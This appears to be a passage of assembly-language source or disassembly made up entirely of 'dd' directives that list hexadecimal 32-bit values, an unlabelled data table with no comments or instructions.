dd 161F969Fh, 7207DA04h, 5BB0D5A7h, 8A531Ah, 7EC26A7Dh
dd 0BB460EC9h, 0A851CC1Ch, 316C3383h, 0F6CE881Ah, 90480027h
dd 87A96D54h, 0AA0E5B5Fh, 8059CFA1h, 561ED68Ah, 9773000Dh
dd 47A51D19h, 32069DF1h, 0A0F5E4BFh, 0B6DA1811h, 8BF62950h
dd 91758AE8h, 7E29EA03h, 0B4772B31h, 453BDCA4h, 966DF053h
dd 4B763388h, 8838023Dh, 0C6049B09h, 0A25E14C0h, 0E0708084h
dd 0D904C18Ah, 0FF4310CEh, 5820147Eh, 0CC866Eh, 215540E0h
dd 660CC037h, 83F4993Eh, 0CF726CE4h, 0ACDAD85Bh, 361C0324h
dd 6541F97Dh, 2F384DE8h, 0FF1350E2h, 282011DFh, 2B92568h
dd 6F8ECCE3h, 90E85576h, 52441897h, 23B100B9h, 0F4805670h
dd 7516D16Fh, 5840BBDDh, 95601A39h, 58797F68h, 0B384C098h
dd 65A4A4D1h, 2438F926h, 1178E110h, 24187Eh, 0C4B445DDh
dd 0B037DA33h, 0C226072Dh, 0B0AD0493h, 1A15D142h, 3155D231h
dd 0E0321DD9h, 35DB0D0Bh, 344B8800h, 0C0A81BF4h, 79058564h
dd 0F3365A2Ah, 1792ACC3h, 20440D19h, 0B3DA6CB8h, 0D271DD1Dh
dd 9D7F4107h, 84F31FA2h, 14810187h, 0FAE417F9h, 0FBE60A8Ch
dd 870AA69h, 129226A4h, 0C0A00822h, 17F31Dh, 0DC889C3Bh
dd 6E4A1AE8h, 96713C0Fh, 2DD680DEh, 5283BCh, 61543FDh
dd 0D18E9856h, 480F024h, 1218F211h, 1CBD59E6h, 4516E101h
dd 0E4AAD147h, 128899CEh, 0C42830Ch, 6CB17Ch, 0CCBE1492h
dd 0DA0037C1h, 0D965A08Ah, 0B8A493B3h, 1FC8440h, 78726D48h
dd 0E3D1BFA1h, 67978905h, 97C27688h, 5308E077h, 940C5893h
dd 944D7C48h, 900F2B22h, 40685FEEh, 0A056B9Ch, 69EEE4Fh
dd 13E3A133h, 7053299Fh, 8A3B1E9Ch, 602585C0h, 965E7Eh
dd 0CE9E761Ah, 1E9ADE32h, 2A7B7C01h, 6961399Ch, 0B040A021h
dd 0EF066EABh, 73139428h, 39C09188h, 80806259h, 5BE6017Dh
dd 4E4B0071h, 6F655CEFh, 7FF6A83Bh, 0E7148A00h, 0ED29D9F6h
dd 40626077h, 1B515435h, 5C0014B8h, 634CFA22h, 21E119h
dd 3D17DD62h, 3CC85E3Ah, 0AE363B00h, 9271295Ah, 19610CDFh
dd 0F2193896h, 4600ECA4h, 28B7F717h, 15522790h, 0A4823192h
dd 74D90074h, 0EF39AF5Ch, 2B0034CDh, 87E6A43Eh, 50B9D589h
dd 33ABB59h, 0B2B75DDEh, 0BCD07879h, 61C0F5D7h, 14FB2783h
dd 10F90491h, 84A895FEh, 0D74CE038h, 58F4C444h, 0B3860C53h
dd 809819ACh, 78813D50h, 30FD652Ch, 76848680h, 902455C5h
dd 0FF1518FCh, 131438B5h, 1948FA02h, 52400EF4h, 0FDD1302Ch
dd 0C0576551h, 0E86E7201h, 0E25490Fh, 0C2A2260h, 0B4E1166h
dd 98B1F2C8h, 8258F900h, 283F7CAh, 9334C13Eh, 4090576Bh
dd 0B200FB0Eh, 8A7132ABh, 119E5A1h, 16EAE78h, 89E96572h
dd 44A4BCB9h, 2A333070h, 0C6796EF1h, 0F536F702h, 0A193A58Ah
dd 0F62E17C0h, 0BB242C33h, 0A6530474h, 80254859h, 0C7DF1BB2h
dd 0D9033C9Ch, 9E28ED07h, 68E40023h, 0B48CB826h, 67B067BBh
dd 7FE03604h, 0FCF3B0BAh, 0DC58C43Dh, 16D5900h, 54C6282Ah
dd 8E021CB0h, 6F2CAD56h, 0F05864F0h, 5F680644h, 91BC6EDBh
dd 553A6700h, 42277BB1h, 0B0350284h, 7A2A1AFAh, 768FDC40h
dd 914A7000h, 0CA8758D1h, 48FB776Eh, 0E406329Ah, 10EB6DD2h
dd 2E0D5203h, 0C87C8Bh, 0E69BC571h, 0B866FBDDh, 0C49502F1h
dd 0B0B6050Ch, 0B07F239h, 44B2FDB8h, 0C4144880h, 0D5138EFBh
dd 0FC43E249h, 0D9ECC5E3h, 518F8F53h, 711BF16Dh, 0BEEBAE0h
dd 0CE00BB90h, 83C7BE78h, 2431E46Dh, 6C64D6F6h, 0D29F431h
dd 3C11CCA7h, 80879F00h, 0B2626905h, 0B0A3181Ch, 297291C0h
dd 2644BCh, 9916E89Dh, 208FB309h, 61E138C0h, 4A106B72h
dd 702840ECh, 48D39143h, 6A712Dh, 0C4A8E264h, 5084054Ch
dd 0D2B3F1A7h, 39218178h, 3F6006FEh, 8200062h, 0FB035FFAh
dd 0E0BD486Dh, 423377Ch, 7DA28361h, 0C910F1E6h, 0A986138Eh
dd 8385D75h, 89C4C2Ch, 1981B6ADh, 0E7E29694h, 8AD430h
dd 29D0E0A7h, 6235A192h, 55D30F18h, 162A1C28h, 4604BF7h
dd 21AC51CCh, 121121D7h, 0DB4420B7h, 7B38E700h, 9EA2ABFFh
dd 3DFB7D37h, 84001E4Eh, 0F59F69Fh, 89003156h, 34BACAE1h
dd 2C2545DEh, 399511DDh, 0FC38A83Ah, 0D2BFAF80h, 58C1526Bh
dd 0A5121B77h, 920088DAh, 1C7418Bh, 774038FFh, 9250D031h
dd 1DEC0CB3h, 8012585Fh, 3EDCFF8Eh, 2E619652h, 0ABC7A020h
dd 79165080h, 253BD5B7h, 2DB5C40Fh, 688FE18Bh, 7080B3B2h
dd 71F824ABh, 6E00E78Dh, 1545113h, 127A353h, 894FFC08h
dd 81A855A0h, 0F9CCDB50h, 0B3CC1FE8h, 0AE4C0027h, 0A9146AC7h
dd 0B24CE082h, 88F803FBh, 71E54126h, 688760B0h, 9B7CF3A5h
dd 0DD634F00h, 434E4180h, 0B7050016h, 76258BC2h, 68E831E2h
dd 46EDA606h, 0F795AA0h, 5B510543h, 45785701h, 4A8609Eh
dd 3B6D6E00h, 0B1C66394h, 58B1884h, 0D28D9B5h, 0E4A38F26h
dd 99BAB200h, 591E737h, 0C6D6C07h, 2554C082h, 1A0058A8h
dd 9D14851Fh, 0D6268Ah, 0F6F7EA90h, 0F8912468h, 0DED8F550h
dd 23D8730Ch, 2AC9D183h, 0DCBD45h, 4AF2468Bh, 0F37EF77Ch
dd 0DEFF1000h, 0ACC99805h, 0A9E2019Fh, 0A3AB89DAh, 0D62F86Fh
dd 0DBA0FA18h, 0E2591841h, 74151E24h, 0A7930005h, 0F386F2CFh
dd 0EB4F0C01h, 0AA47C9A2h, 0CDA33180h, 446A7399h, 0A002FA00h
dd 0A919584Dh, 39B9002Ah, 0F8BD0EAh, 1E000C10h, 42256CE8h
dd 519745E1h, 0CAD58CB6h, 60009371h, 7CCF9A5Fh, 0DB860A2Eh
dd 39CC02A2h, 0E34C3905h, 6DB040CBh, 21559CCEh, 8F19791Ch
dd 6A870140h, 65FA458h, 8C28ACE0h, 4E0550F6h, 0CCDE9D1Fh
dd 1CAA9840h, 6CEB24h, 8FB2DA09h, 5553B4E2h, 46A37300h
dd 69A008F6h, 9FED0006h, 3A0F250Eh, 6F1E15D6h, 39006B6Ch
dd 855FB641h, 4FF000B1h, 0CBC32A0Bh, 0FF001CE2h, 0DCFDEDD1h
dd 40F86h, 8A28CC6h, 25E907CDh, 69DF2603h, 0C8DE94h, 40603891h
dd 67255A4h, 8F522101h, 22141590h, 713EAAE0h, 7E90A8A7h
dd 6A7900C2h, 3C8D64C7h, 9300C38Ch, 17454E47h, 24B0DE54h
dd 87BC8F04h, 47AC3F8Bh, 0DB344359h, 94457000h, 5843B740h
dd 0C7160FCAh, 22C6E37Ch, 0A77D915Ah, 70057892h, 3F315237h
dd 25B644C0h, 74FF00FAh, 262429D2h, 99C0F495h, 0DDBD3EABh
dd 0F1015CD7h, 0CFB65350h, 0BA608E51h, 0D162A6A1h, 60DB9F00h
dd 4745193Eh, 0E2590156h, 92F42E10h, 0F798024h, 0FB520639h
dd 44A63C8Bh, 11051118h, 0C061A7CDh, 2C3F5BE1h, 269080D3h
dd 8684AC98h, 0E7700B0h, 0E0BAD23Dh, 47005CE3h, 0D0A81F05h
dd 9612621h, 724DA7B0h, 63B58C00h, 0E2EC59Bh, 0DE1274A1h
dd 27593803h, 45E93EBFh, 60D8690Fh, 6E3C6FC7h, 0CC03F9A9h
dd 3C159DFh, 0CAF60786h, 4D150F81h, 7520FE70h, 0F8B9F404h
dd 7672B609h, 0BB4C0439h, 274B2E40h, 9600A8AFh, 7832C05h
dd 1A1F6F1h, 4CE5FF86h, 435B9AD5h, 31A845DCh, 2210D87Eh
dd 0DB0689FDh, 0A9A1E398h, 0BFDD9C80h, 84580113h, 0F30EEC21h
dd 70B4E03Eh, 0EAC8F000h, 0A4F86DEh, 0A75F00BCh, 285EE16h
dd 0AB0ED52Ah
dd 9DF1C58h, 0CFC0009Ah, 77603CC4h, 0B9321987h, 0E33E78FAh
dd 0F9CD80E0h, 0D72A6900h, 66CEEBEh, 78AF0F5h, 0E096F840h
dd 0A94180DEh, 6E056B3Eh, 0F9A0D294h, 9A8CE440h, 0C44DC8h
dd 24473CDFh, 9508A989h, 5B05E000h, 0DC3D12B1h, 1353736Dh
dd 21255AF0h, 50D3DEB0h, 0EE0D1AA0h, 1762AA00h, 0E7DB85Fh
dd 27C60C97h, 47688182h, 0A1FB88A0h, 3BC7D344h, 698074E0h
dd 0FF4B2FF1h, 1F1F9144h, 0F06A3BC5h, 9DFDF021h, 0A90020B6h
dd 18D221F1h, 899CF9h, 8E6399C8h, 3B1D167h, 7D3A237Eh
dd 0E7938747h, 0B80045A9h, 106AD88h, 0BE2DF343h, 0E1B0ABC2h
dd 608457E2h, 81678959h, 0FABFD500h, 941AF569h, 0B046FCAEh
dd 430D00B8h, 0B0EF89D4h, 98925E4Dh, 26D86812h, 73EF05Eh
dd 1A259DB1h, 0E2186BFh, 5BA73019h, 0E9DE5C31h, 2A241706h
dd 6218BD8h, 64DC2C07h, 0DF021184h, 0A06E97E9h, 59F86877h
dd 0BC8F5228h, 400B522h, 0DC65909Fh, 3FFF144h, 5BEF5213h
dd 80F538CFh, 0B08ABFD0h, 22404C50h, 3ED32B39h, 0AC3C3AC6h
dd 0F8086898h, 0E1089C89h, 1999B001h, 4DFC2530h, 2B451E29h
dd 9BF500B4h, 21DC7364h, 4CDF9700h, 94B68987h, 47C92D0h
dd 231D4709h, 452CC899h, 82A1FD3Eh, 0A049DC54h, 81A0905Ch
dd 0E1FB1C1Eh, 0E262C72Ch, 7E98B097h, 8D00348Bh, 577FF522h
dd 0A883B26Fh, 0A880DEB4h, 695080h, 965B3C3h, 89AD64B7h
dd 0F301CE00h, 0FAA1FF46h, 8D2B0123h, 0B09DEA80h, 1CD0325Fh
dd 5B4544B7h, 0A8D0EB15h, 0C349B5A3h, 8A6FDA59h, 70895AD9h
dd 80ED0B28h, 693FB019h, 98D43063h, 864CA34Ch, 0A358FC99h
dd 0BE25E16Ch, 1810D855h, 56D3052Ch, 0D4D4418Dh, 85D170C4h
dd 0A8E36054h, 5223A115h, 47009C6Fh, 820301AFh, 87062F53h
dd 0BF25D86Eh, 2C20B351h, 56E7004Eh, 37779101h, 0ADD55E03h
dd 0F01CDF27h, 2FC150Fh, 457F7A5Bh, 0BCE4DB4Eh, 0A9DFB271h
dd 66B9E583h, 5B0FE056h, 28BB0022h, 5901F8D6h, 70006167h
dd 90F237FFh, 0EE6AC2h, 74FD0FBFh, 0A56733E5h, 726E8A0Eh
dd 211F2FACh, 0AFA0EC83h, 718DA180h, 0CE276A1Dh, 6CBF6300h
dd 0C56BE9Ah, 0EB8C01BCh, 921651ECh, 2EA432E9h, 0D000F9A2h
dd 0F9B8E017h, 0C0843A28h, 56A0470Ah, 155F8090h, 0E5E02B7Bh
dd 54F06C00h, 67092FC0h, 53EFE2Eh, 0CA94F108h, 0D84402DDh
dd 0CC44CD39h, 6D0094BAh, 0E45CF276h, 0CBE29h, 0F64446E6h
dd 0FD7C2523h, 0C1D86849h, 0DB2EDC5Ch, 0D4808917h, 0C2D9CA4Bh
dd 0C7AC69D0h, 809F61C9h, 397FF286h, 9D0B006Eh, 0FCEF5460h
dd 8E7FCB10h, 74DEFA0Ch, 30FF508Dh, 4649D0A0h, 0C906D578h
dd 5FA3377Bh, 0F25D07F9h, 4416384Bh, 0D7AC8098h, 0FC01F72Eh
dd 205B6AC8h, 8180BAB2h, 27E7608Dh, 32005E3Bh, 0D1DEB409h
dd 58F84B7Fh, 1DDDC40h, 0D3E95AFBh, 0AB46EC21h, 0A0F848h
dd 8ADDBC77h, 0D46A9B5Dh, 0DE15E4F1h, 1C1E8082h, 0B9D240FCh
dd 0DB5D83EFh, 2128084Dh, 20B216DAh, 0E22AB8E4h, 0F1981E09h
dd 0CFA08489h, 0D1400852h, 0B03029BEh, 0E189DE00h, 0EC34A84Ah
dd 12DA7BA9h, 8B6BFE6h, 709EB160h, 6E1B93C0h, 0AF1341h
dd 1AFA3DFDh, 68EC285Eh, 0EA4D0100h, 6EE712ABh, 43604B2Ah
dd 26DDD24Ch, 60588493h, 0C422E4h, 0F8742468h, 202E9A92h
dd 0BCB941Ch, 78951900h, 6F27D8h, 62E7B104h, 0AEDCCA47h
dd 10B678A1h, 6599D3h, 1E436CA4h, 5ED5D087h, 0FE2A201Ch
dd 63F2F044h, 0A8FF888h, 0C4AF39B2h, 0C8A74450h, 0EB1F672Ch
dd 0E440EEB0h, 3BD694B7h, 47DF2A41h, 0D481E260h, 4600E239h
dd 0B27687C1h, 0F4984508h, 18EC0BF2h, 0A0F7F10Ch, 40B1D8h
dd 0A12B82CBh, 0F55F8C66h, 629CAA1Dh, 5AF82EC3h, 0AB292E5Eh
dd 0C4C50820h, 19A6A70Ch, 2E70069h, 27F8CB49h, 470781A9h
dd 0D28B4E77h, 0A9B2D332h, 1E0C40D8h, 0DB3722D8h, 8169FF06h
dd 131107B0h, 91B36EDAh, 0F4662150h, 3800E4E8h, 0FA353123h
dd 0BCD020h, 1A4CF33Ah, 97C68058h, 0BC53BF3Ah, 0BE607E46h
dd 0E6B05299h, 0E59DE4Eh, 5EE37BAAh, 0D380A982h, 0BE692C5Fh
dd 0B1788198h, 15CF38DBh, 0BC34A289h, 0B8604100h, 29F99CA9h
dd 89822300h, 4D06CDA1h, 0A63D006Fh, 91F2EC65h, 133D268Ah
dd 0EE0839Ah, 27223F59h, 0A410A9E9h, 190067E4h, 963F8762h
dd 1F9A7C7Eh, 0C1C6337Ah, 0ED73E2DDh, 23106029h, 0FA0EA002h
dd 0C4FC22D8h, 0AAD322D4h, 5FF6A201h, 5C9DDFF4h, 176CB07Ah
dd 1803E44Ah, 99EA10Fh, 4CF4D119h, 0D7AAB010h, 0FCFC4E2Eh
dd 585F204Fh, 0B188AE9h, 4686A25Bh, 13B61402h, 5968B00h
dd 4FE10259h, 0A284A0F8h, 32DE14E9h, 11E400A8h, 861C7B33h
dd 8FEF004Dh, 27753D18h, 1F0762B1h, 635296F8h, 8A0EA07h
dd 99FF0FE7h, 16B01CF8h, 3DA02223h, 7C8178E5h, 52199571h
dd 9AACF0h, 872A4365h, 49DFB11Dh, 9B619304h, 98A4B734h
dd 9E93B68h, 82F99713h, 8A20AB78h, 4EFFD446h, 45502012h
dd 57003D77h, 0EA1B2E5Eh, 0D26D7DAh, 0A37C466Fh, 82F83010h
dd 4501D844h, 0DC844D5Fh, 0C3007B84h, 0E239EB02h, 75FFC32h
dd 0CA19770Ch, 89280CA4h, 4923DB37h, 0B0ABE089h, 0A1536206h
dd 0B4525159h, 54A3452Ch, 0F58E8540h, 6AF301CCh, 9579A4FEh
dd 87AD4546h, 0A82492E4h, 29A7DE02h, 5F85A404h, 87804114h
dd 4281AD77h, 9080A758h, 591FEAA1h, 74B2EC2Ah, 0D8EE6095h
dd 3C5C493Fh, 0F153A018h, 1907AE28h, 6E8179EBh, 90A771E0h
dd 776A181Ch, 0A09CE847h, 0FC87182h, 0E676F70h, 8F906032h
dd 5A023106h, 58198E41h, 46D08374h, 30138CA2h, 7B44F660h
dd 7400937Bh, 3FCF6909h, 326D4DBBh, 0ACA00E1Fh, 882C262Ah
dd 83627C40h, 42922477h, 0F46000F3h, 85761ACDh, 3908BF0Bh
dd 0ACA084C7h, 660CEB40h, 11003E1Ah, 0F9019BD9h, 4B4F8D3h
dd 26FB8219h, 457C833Bh, 58085294h, 8A688FC6h, 89A7D0A5h
dd 3690F8DCh, 85A93F02h, 0E08B68F8h, 5C9E77F8h, 47C0602Bh
dd 3E1F1EF5h, 9BE78600h, 0AF088F92h, 0D3761E06h, 46C509B6h
dd 423884E0h, 696E6F12h, 0BEDF1C20h, 10D20189h, 0FE21DBB6h
dd 40F451C5h, 0BBB211D9h, 0E8FBA450h, 50100161h, 5AF6AE55h
dd 302D08h, 0F07A7288h, 0A86A6CB1h, 9C941F30h, 0C97343A8h
dd 0CDF2ACB0h, 8C2B4301h, 0C2AF6FEh, 20DEC3E0h, 0CA148A20h
dd 2240D840h, 0CEC000B4h, 120A03A9h, 267FE15Dh, 7C90DB76h
dd 74BF8A22h, 4CAD882Bh, 0BA6E4B16h, 2030F416h, 256A3B7h
dd 20D4148Eh, 0F466B086h, 1BF0F00h, 5D15F3E2h, 0B20800F0h
dd 33EEAC1Dh, 492ECA44h, 9C2E6CA2h, 0DFB34F40h, 5B90001Dh
dd 0BD3350C5h, 0ED73407Eh, 2A96B001h, 0B81FE6A0h, 0A06AC0F4h
dd 53A88C0h, 0B9E7FD2Dh, 0D7B88C89h, 0F1F37705h, 58416B18h
dd 0E92226F7h, 44B7930h, 0F92B9449h, 29ECE3B3h, 0FD0098A7h
dd 3B54BFFFh, 10F79AFh, 0EC23639Ch, 2DA06075h, 0CE000E4h
dd 796A5D1Ah, 0A7DC2451h, 0FE114064h, 8D003666h, 0DECF2DC5h
dd 1C834978h, 4B7751A8h, 0B803AC76h, 40F16C31h, 5C6C8Ah
dd 219AF980h, 0E1DF2Ah, 5FE2C005h, 20508381h, 0F890FC1Bh
dd 91B7F710h, 0FA6D72C0h, 23A200E0h, 1CE5298h, 32338B10h
dd 91EF9A4h, 0E6B824E0h, 0D4D2F4B0h, 89E29F01h, 0A693C650h
dd 37297D4h, 56B95877h, 0CC85D8EDh, 461411A0h, 0CD669Bh
dd 0E5944A18h, 51CBB74h
dd 5E384122h, 7AC9030h, 0CF12DFCCh, 0C886BF9h, 40790166h
dd 0D801C4A3h, 9080D31Ah, 0E1033BF0h, 0E2C3FF74h, 0CE26E9C1h
dd 2300AC2Dh, 9CECAF2Bh, 2F0E6B31h, 0AFAC9D8Ah, 71250068h
dd 0A6446DC2h, 42E801C8h, 0B287EBC7h, 1B7980B9h, 0A45F5BF3h
dd 0D09C05EFh, 6EA7D8h, 0D97209B8h, 0B60191CCh, 6DDA2752h
dd 7C7128ABh, 4F405C17h, 0B812945Ah, 0BB80435h, 0C01F79BCh
dd 6DAF83ADh, 26F56700h, 0AC5FF431h, 0C2A72CBFh, 0E62B4214h
dd 34FD8155h, 0B1F40304h, 4068B684h, 8A9F437h, 8D0E0500h
dd 0D3F85F35h, 0B0EB1EDBh, 8B49B00Bh, 0FCB2928Ah, 83F8D600h
dd 34B10D3Eh, 99A7EEDEh, 0DF790064h, 9EF769CEh, 52EB9D00h
dd 9C4EE865h, 0E77B2Eh, 895E0910h, 0A0705561h, 160F9CB1h
dd 3F250001h, 7664B4h, 47154D8Bh, 0FC8642A7h, 6FA8E506h
dd 2E02E88h, 0CB3ED3DBh, 74FB515Fh, 2067100Eh, 4446ECCCh
dd 0B7861FF4h, 0DB180543h, 0A788B434h, 0B38028BEh, 0AD6F3A16h
dd 422E004Dh, 77109EE3h, 0F204751Bh, 623DA607h, 4A5FC0A4h
dd 502848BEh, 38416C13h, 0D476ABB7h, 41E99C48h, 0C01454AAh
dd 526A4E69h, 0F0A9A100h, 2127B1FFh, 265CB634h, 13D011C8h
dd 0BC2239D8h, 3F2886DEh, 58A74CE1h, 1BF80980h, 6609BE27h
dd 801C4944h, 61FAADC4h, 0D6D5071Fh, 0D0EF407Bh, 8D90CA68h
dd 62AB4800h, 0CBCFBDCEh, 0F039702Ah, 2FD603F0h, 6754431Ch
dd 9EE266A1h, 96C05D39h, 1541D68Ch, 5B54015Ah, 46A8F0F3h
dd 33308C13h, 2A08ECh, 2E18E619h, 6D95DC03h, 8F135800h
dd 17E8F897h, 29E36030h, 7A3DD04Eh, 0B41D17B0h, 0AE808E04h
dd 0D6B7F34Bh, 0D4FA0157h, 4792974Ah, 33909E30h, 389914h
dd 0E62C7804h, 83EFEAh, 31DC5BE9h, 968C5AC9h, 0D67EA407h
dd 0E1609A16h, 2A1C2A55h, 1970A0F0h, 19569E72h, 590EDBACh
dd 9949919Dh, 7FD3D519h, 77960331h, 5B158DDDh, 879E5199h
dd 20F71F19h, 30D9A246h, 4C41474Bh, 500C4C5h, 0B8E2FEEDh
dd 7F7050h, 9D39F31Fh, 87D3D06Bh, 147D4498h, 0C6C8E606h
dd 0E0491637h, 6F7FEBDh, 218EA20Fh, 8F7A7189h, 3BC6755Ch
dd 0BAD09D64h, 0F1AD1440h, 1BA7A2h, 943DAC55h, 99E54082h
dd 91426C30h, 18EA285Ah, 0D995D6EDh, 0E8603374h, 0B0F66B71h
dd 353007B8h, 453721h, 975936C6h, 0D708FE00h, 0F5D8754Eh
dd 29F801C2h, 3373A1FDh, 917C58B1h, 5AEBA05h, 8FC03C3Ah
dd 8F429h, 389DDEA2h, 7FDB1139h, 92CAFC00h, 0ADF0A776h
dd 0D0C0AB91h, 0E2250DE5h, 60A264D4h, 5D25FE9h, 9B001313h
dd 85665C53h, 6EA505C2h, 80A1729Ah, 1230104Ah, 0DA9231C0h
dd 3E86191h, 0D434C7F1h, 69DE4BA3h, 0F2E21698h, 0F70E907h
dd 399C1D25h, 0C9456074h, 0C1E03307h, 4060B11Eh, 0CC72C9C0h
dd 0EF7F61h, 7A1AC5F0h, 76A3FA83h, 309AB407h, 8BBC1Bh
dd 4C64F6BEh, 93CA0F2Eh, 20D24036h, 32B18C90h, 37070F90h
dd 0AA2C14F0h, 0E43933F0h, 72CF14CCh, 4000404Ah, 0AD3DEC29h
dd 0D63F9B8Dh, 3C04248Eh, 14787566h, 0CC7AD550h, 18C01109h
dd 8F7B1802h, 7DF71720h, 81106033h, 40E642D0h, 74D8C500h
dd 894DFCBEh, 0B89A00CAh, 0E48267CDh, 0D62E06D5h, 0C71934A2h
dd 0C8F59339h, 1EBFDD30h, 989BEB53h, 2B5111CFh, 0A9F0FB14h
dd 909D84E4h, 0FAE33C8Dh, 0E7248074h, 0FC5231h, 0E8E19946h
dd 1F56D6F7h, 0AD2510A0h, 0EEA6C900h, 4073AA75h, 32080018h
dd 92CB60D6h, 464DB7C6h, 41D9094Ch, 42F0215Bh, 98F21DE4h
dd 0E2A9FC28h, 0F4FA602Dh, 31FF9A9Eh, 0A5F1D705h, 56C080DBh
dd 1C9B06Fh, 0C4E853DAh, 4747AAF0h, 5C44F464h, 9C402792h
dd 4D0CB92Fh, 0A2070EF9h, 3FA1CADDh, 888093F4h, 139033A0h
dd 398C3174h, 1C7680E8h, 58795334h, 7D3EE57h, 0C817AF02h
dd 0D9308090h, 0D2283492h, 99006055h, 0A7155294h, 756379F7h
dd 7632311Ch, 0D0DFA931h, 0EC18CA74h, 75A156C3h, 0DCF500DAh
dd 39FAC9EDh, 5A1EC410h, 9A806B25h, 0AA9D1359h, 34D304BDh
dd 80184E73h, 0D5453100h, 0D6E33700h, 0DDA80564h, 53B20146h
dd 56AB7377h, 0E760D4AEh, 0EE33751Bh, 7B4898A1h, 723F00B4h
dd 3496EA57h, 0D700E18Dh, 0BA1799A2h, 1194205Dh, 0C62D5ECh
dd 41EBA827h, 2CD730EDh, 0C0CB7419h, 0AF0D652h, 0E4C1A927h
dd 5660C048h, 0B3A872h, 0BA9E2FFAh, 0DFB45812h, 4B786B0Ah
dd 0FD8BD848h, 7EDD8109h, 90217BB9h, 98D59EC8h, 87CB085Ch
dd 4A115295h, 49BAE400h, 24F90BA8h, 73837613h, 215FD40Dh
dd 11940C42h, 2F20D299h, 1BF96ECh, 64683C70h, 0F4762158h
dd 320EC69Bh, 608BCBDEh, 9D7D57BFh, 39786E95h, 8FD1234Ch
dd 14F47700h, 7D33291Bh, 4B9A00EDh, 0F2717A87h, 0FC00B01Ch
dd 226638E4h, 4C59FF97h, 0E12C33B8h, 0EF4200B1h, 32AF9282h
dd 0A898FCE6h, 2E007499h, 8DC8ABE6h, 7AEA3B23h, 245AD600h
dd 4782CA10h, 3E9A9500h, 55CCB30Bh, 0FE32006Dh, 3E3A626h
dd 9402211Eh, 9A5EDCF3h, 0A278836Bh, 0A37AA05Fh, 0B4ED0125h
dd 0AEFDCDC2h, 0F3CBC433h, 220E48F8h, 407619E4h, 9E6D5777h
dd 569A22BFh, 913B5509h, 0EB4C8442h, 0A63AA840h, 162E8E10h
dd 3B3DE49Dh, 21223024h, 0CB3DDFEDh, 4900D41h, 0CD1263EEh
dd 0E3009638h, 0BA27C85Ch, 3F410094h, 3EB639D7h, 9A0A0DEFh
dd 0E452689Fh, 8342AD88h, 4A6CF5CAh, 485E72E9h, 900006E8h
dd 0C380A49Bh, 12843049h, 84BD8D3h, 9F42EF7Ch, 0E9FE40B4h
dd 0BC3C0034h, 0DA4680A7h, 1007C9Bh, 0DE787630h, 0B820F0C7h
dd 47949945h, 1AF3A27Ch, 0DB6F5F40h, 3D38C800h, 0D1EF0C07h
dd 5471030Fh, 262A631Dh, 17ECF900h, 9430B2FCh, 0BF0F004Dh
dd 73B97099h, 0F039AE6Eh, 0D91B32D1h, 64E472h, 0B7B37328h
dd 0E9FB657Fh, 1025A20Ah, 56114811h, 1408A500h, 199F02Fh
dd 1BD7EC0Ch, 3587828h, 4F2E91CBh, 3A0FD2ABh, 382AFAC8h
dd 3793D99h, 9D554013h, 51515D92h, 0B4AFEE10h, 73EC0116h
dd 47B28259h, 72ABC02Ch, 9C3CC499h, 0A8450A5Eh, 0CA0308DAh
dd 0C0F3833Bh, 0DCB43Dh, 23CFBC10h, 788B4564h, 761D52F2h
dd 330C9798h, 9369EAh, 109CE8FBh, 1458AF2Fh, 226BB501h
dd 51189911h, 59C3D0h, 0B4D6ECABh, 75401C29h, 9E509D58h
dd 0CB266600h, 1EB3E5h, 506E88B4h, 51F45F7Bh, 0C2E0820Ah
dd 9D0B0C41h, 26741096h, 0DC852962h, 5BCA0EBCh, 7B9C1A40h
dd 25E2CB63h, 76C619DFh, 0EA295542h, 0A2960945h, 6C124B3Ah
dd 0CC4EC441h, 90006029h, 0A450B9BCh, 2799AE4h, 0C6FE16Ch
dd 8844A32Ah, 0F169544h, 6A68D555h, 2FDF4060h, 0AE026D29h
dd 53A9B17Fh, 7B4460CEh, 3C9A28D1h, 9D4B370Ch, 0CB9C4141h
dd 0B61CE0D5h, 0EFB83000h, 7A2D59A6h, 48D07426h, 0EA2A3480h
dd 46D8C4E0h, 76824288h, 694CC09Ah, 836F36CDh, 4709C269h
dd 80DB42E5h, 929B6648h, 7776A6h, 1323B286h, 0CC0ECA06h
dd 50531A0Bh, 0D2288242h, 70842992h, 4DDB61CBh, 72FF0h
dd 0C1CDD6F6h, 176E814Fh, 976F8400h, 0F42124D2h, 7E94021Bh
dd 57747267h, 44A80068h, 3A1C988Ah, 0ABA4002Bh, 0D2CB8A0h
dd 570F0552h, 60B5B4D4h, 1FF09C9Fh, 0A31A00CDh, 0D7947F10h
dd 4CA48521h, 1807B4Ch, 6BBB19A9h, 70D4725Bh, 20009811h
dd 1B4C41FFh, 0E4ED0190h, 0A03376E3h, 18D681A6h, 0AB5C4953h
dd 56429D01h, 5008969Ah
dd 8FB818A9h, 0D560FDE8h, 2F3137FAh, 62DCEC80h, 1E272135h
dd 73434859h, 651D8095h, 0C393A78h, 20F7A982h, 0B3402EC2h
dd 0D43FCA84h, 34AB0340h, 852899Ah, 1F3CD551h, 0E0069597h
dd 170892CEh, 1A986CAh, 726AE324h, 2E23F0DAh, 41B09655h
dd 60AF572Eh, 0AB580F90h, 0C0E44C04h, 0E0451BF3h, 597FCA9h
dd 353612D4h, 28F1C04Ch, 0AF18F1CBh, 0C2C157D8h, 59976B49h
dd 8BE8813h, 9B35E12h, 0EF6BF4C1h, 0DEEC988Eh, 62CC69F9h
dd 763C00DCh, 0EC2C070Bh, 7B73060Ch, 29222AD3h, 0AA249700h
dd 0D2276182h, 9CDF004Dh, 5360B031h, 0A713286Eh, 4C9083FEh
dd 912305Fh, 87E9CBDAh, 49219886h, 80A80D48h, 0A49234C9h
dd 0D8F2E1h, 290251BCh, 0C269734Dh, 0CC684A51h, 1F00F7EFh
dd 0C5193AAh, 30834D5Ah, 3E109640h, 0D18488Ah, 0E3319B4Bh
dd 0E1900099h, 819FC4C2h, 4800D1B7h, 3157AD0Ah, 480AA27h
dd 0C31625D3h, 0E03C8956h, 0E4A8181Dh, 0FB4CDCF6h, 3B9E0BACh
dd 4C5411CBh, 0EEF1B10h, 0FE209CB0h, 5FA30524h, 803CC7C8h
dd 55F0C1CCh, 99CC29C3h, 0F519A9Fh, 8384294Ah, 0F26FE6F9h
dd 2AE3AA0h, 850AC802h, 8348997Ch, 19AE998h, 42B474D0h
dd 2937E416h, 7F49002Ch, 2C02186Ah, 105672F3h, 4A512Eh
dd 0B2BF6EA9h, 229A4FABh, 0D3095282h, 80C818EFh, 0A82FE7B0h
dd 0B3BF048Eh, 88164AABh, 506A5624h, 76454C31h, 1014E8C4h
